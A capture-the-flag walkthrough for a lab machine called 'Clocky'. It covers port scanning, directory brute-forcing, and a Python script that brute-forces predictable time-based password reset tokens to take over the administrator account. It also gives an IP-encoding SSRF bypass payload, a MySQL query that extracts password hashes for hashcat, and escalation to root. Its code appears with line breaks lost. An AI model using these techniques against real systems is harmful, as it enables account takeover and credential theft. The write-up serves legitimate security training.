┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 10.10.24.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:00 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.17s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 430.93 seconds
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80,8000,8080 -T4 10.10.24.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:35 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
| 256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_ 256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
8000/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries
|_/*.sql$ /*.zip$ /*.bak$
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-title: Clocky
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.8.10
| Date: Mon, 01 Apr 2024 06:35:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 6206
| Connection: close
| <head>
| <style>
| body {
| background-color:#fff;
| background-position:center;
| background-repeat:repeat-y;
| font-family: "Lucida Grande","Lucida Sans Unicode",geneva,verdana,sans-serif;
| font-size:10px;
| color:#777;
| #container {
| width:500px;
| margin:0 auto;
| #header {
| background-color:#eeeeee;
| margin:10px;
| padding:30px 10px 30px 10px;
| border-top:2px solid #ccc;
| #header h1 {
| text-align:center;
| font-family:Trebuchet MS, Geneva, Arial, Helvetica, sans-serif;
| font-size:30px;
| color:#333;
| margin:0;
| font-weight:normal;
| #header h1 strong {
| color:#A85BA6;
| #header h1 a {
| color:#333;
| text-decoration:none;
| #header h2 {
| font-size:11px;
| font-weight:normal;
| text-align:center;
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.8.10
| Date: Mon, 01 Apr 2024 06:35:10 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=4/1%Time=660A559D%P=x86_64-pc-linux-gnu%r
...
SF:d\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.15 seconds
From the nmap scan we can see port 80 and 8000 gives forbidden. Visiting these ports will also give you a 403 forbidden. However we can see robots.txt is available on port 8000.
We can visit that and get our first flag.
We also get a disallow list for the extensions sql, zip, bak.
Feroxbuster revealed index.zip. Downloading it and unzipping it gave us 2 files app.py and flag2.txt.
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://clocky.thm:8000 -x sql,zip,bak
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.2
───────────────────────────┬──────────────────────
🎯 Target Url │ http://clocky.thm:8000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [sql, zip, bak]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c http://clocky.thm:8000/
200 GET 11l 46w 3280c http://clocky.thm:8000/index.zip
[####################] - 7m 120000/120000 0s found:2 errors:0
[####################] - 7m 120000/120000 295/s http://clocky.thm:8000/
We have our 2nd flag.
Port 8080 was accessible and we are met with a page that tells the time.
Since this room is based on time and the current time displayed on the page seems to be in London Time Zone.
Feroxbuster search on port 8080 revealed some directories:
and mainly a login page. i.e: /administrator. It also reveals /dashboard but that just redirects to /administrator.
Having a closer look at app.py we find an interesting block of code.
Snippet from app.py.
defforgot_password():if session.get("logged_in"):returnrender_template("admin.html")else:if request.method =="GET":returnrender_template("forgot_password.html")if request.method =="POST": username = request.form["username"] username = username.lower()try:with connection.cursor()as cursor: sql ="SELECT username FROM users WHERE username = %s" cursor.execute(sql, (username))if cursor.fetchone(): value = datetime.datetime.now() lnk =str(value)[:-4] +" . "+ username.upper() lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest() sql ="UPDATE reset_token SET token=%s WHERE username = %s" cursor.execute(sql, (lnk, username)) connection.commit()except:pass message ="A reset link has been sent to your e-mail"returnrender_template("forgot_password.html", message=message)# Done
This code essentially checks if a username exists in the database, and if it does, it generates a token based on the current timestamp and the username, hashes it using SHA-1 and updates the corresponding token in the database. This process is typically used for generating and updating password reset tokens.
We can use this to make a small script that will generate the token for the username Administrator for us.
Tokengen.py
import datetime import hashlib import requests import re # Define the username for which the password reset token will be generatedusername ='administrator'# Define the base URL of the target web applicationbase_url ='http://clocky.thm:8080/'# Data payload for the POST request to the 'forgot_password' endpointdata ={"username":"Administrator"}# Send a POST request to the 'forgot_password' endpoint to initiate password resetrequests.post(base_url +"forgot_password", data=data)# Send a GET request to the base URL to retrieve the current time from the web applicationresponse = requests.get(base_url)# Check if the response status code is 200 (OK)if response.status_code ==200:# Define a regular expression pattern to extract the current time from the response time_pattern =r'The current time is (\d{4}-\d{2}-\d{2}\d{2}:\d{2}:\d{2})'# Search for the pattern in the response text match = re.search(time_pattern, response.text)if match:# Extract the current time string from the matched pattern current_time_str = match.group(1)# Print the current time string (optional)print(current_time_str)# List to store valid password reset tokensvalid_tokens = []# Iterate through milliseconds from 00 to 99for ms inrange(100):# Convert milliseconds to a two-digit string (e.g., '00', '01', ..., '99') ms_str =str(ms).zfill(2)# Construct the token data by concatenating current time, milliseconds, and username token_data = current_time_str +"."+ ms_str +" . "+ username.upper()# Hash the token data using SHA-1 hashing algorithm hashed_token = hashlib.sha1(token_data.encode("utf-8")).hexdigest()# Send a GET request to the 'password_reset' endpoint with the generated token as a parameter response = requests.get(base_url +'password_reset', params={'token': hashed_token})# Check if the response does not contain the 'Invalid token' messageif'<h2>Invalid token</h2>'notin response.text:# Print the valid tokenprint('Valid token: {}'.format(hashed_token))# Add the valid token to the list valid_tokens.append(hashed_token)# Print the list of valid tokensprint("Valid tokens:", valid_tokens)
We can see in the above image that the token we generated worked and we have successfully reset the password. We've also got our 3rd flag.
The page also has an input for location. Upon entering something it downloads a file. From app.py we know that there is an SQL database on localhost. Directly entering http://localhost/database.sql will download a file but the file will show a forbidden 403.
We need to do some URL bypass. The below link has a list of possible payloads we can use.
http://0x7f000001/database.sql
The above payload worked and we got a file which gave us Flag 4 and some other details.
Initial Access
We have a password for some user. From app.py we know found users Jane and Clarice.
The password worked for Clarice and we were able to SSH in and get Flag 5.
In the app folder we can view .env for another password.
We can use this password to login into mysql.
We can find few databases and some tables. We can also find the forgot password token.
The database mysql has alot of tables and the user table shows some users and hash. They seem to be poorly formated. Fortunately we can fix that and then use hash cat to obtain some passwords.
The below commad gives us a nice format to view the username and hash.
SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'')) AShash FROM user WHERE plugin ='caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
Privilege Escalation
We have obtained 5 hashes. Let us use hashcat to crack the hash and obtain the password for the user dev.
We can use this password to get root access and obtain the final flag.